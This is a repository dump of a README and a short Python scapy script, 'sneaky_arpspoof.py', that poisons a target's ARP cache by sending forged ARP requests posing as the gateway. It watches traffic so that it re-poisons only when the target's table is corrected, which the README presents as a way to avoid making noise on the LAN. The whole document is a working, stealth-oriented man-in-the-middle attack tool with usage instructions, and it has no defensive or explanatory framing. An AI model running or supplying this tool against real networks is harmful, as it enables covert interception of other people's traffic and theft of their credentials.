├── README.md └── sneaky_arpspoof.py /README.md: -------------------------------------------------------------------------------- 1 | # sneaky_arpspoofing 2 | This is an arpspoofing tool based on arp requests that knows when to send the arp request not to cause noise in the LAN. 3 | The arp request is sent when the target ARP tables changes, that involves 2 cases: 4 | - When there is an arp replay comming from the IP to be spoofed. 5 | - Where there is an arp request to our target that doesn't come from us. 6 | 7 | Usage: `sneaky_arpspoofing.py -i -t -g ` 8 | 9 | This program requires scapy 10 | 11 | -------------------------------------------------------------------------------- /sneaky_arpspoof.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import sys 3 | 4 | 5 | if len(sys.argv) != 7: 6 | print 'Usage sneaky_arpspoofing.py -i -t -g ' 7 | exit(1) 8 | else: 9 | iface = sys.argv[2] 10 | target = sys.argv[4] 11 | gateway = sys.argv[6] 12 | 13 | send(ARP(op=ARP.who_has, psrc=gateway, pdst=target)) 14 | 15 | while True: 16 | 17 | pkt = sniff (count = 1, filter = 'arp[6:2] = 2 and src host ' + gateway + \ 18 | ' or arp[6:2] = 1 and dst host ' + target + ' and not ether host ' \ 19 | + get_if_hwaddr(iface), iface = iface) 20 | if pkt: 21 | send(ARP(op=ARP.who_has, psrc=gateway, pdst=target)) 22 | del pkt 23 | --------------------------------------------------------------------------------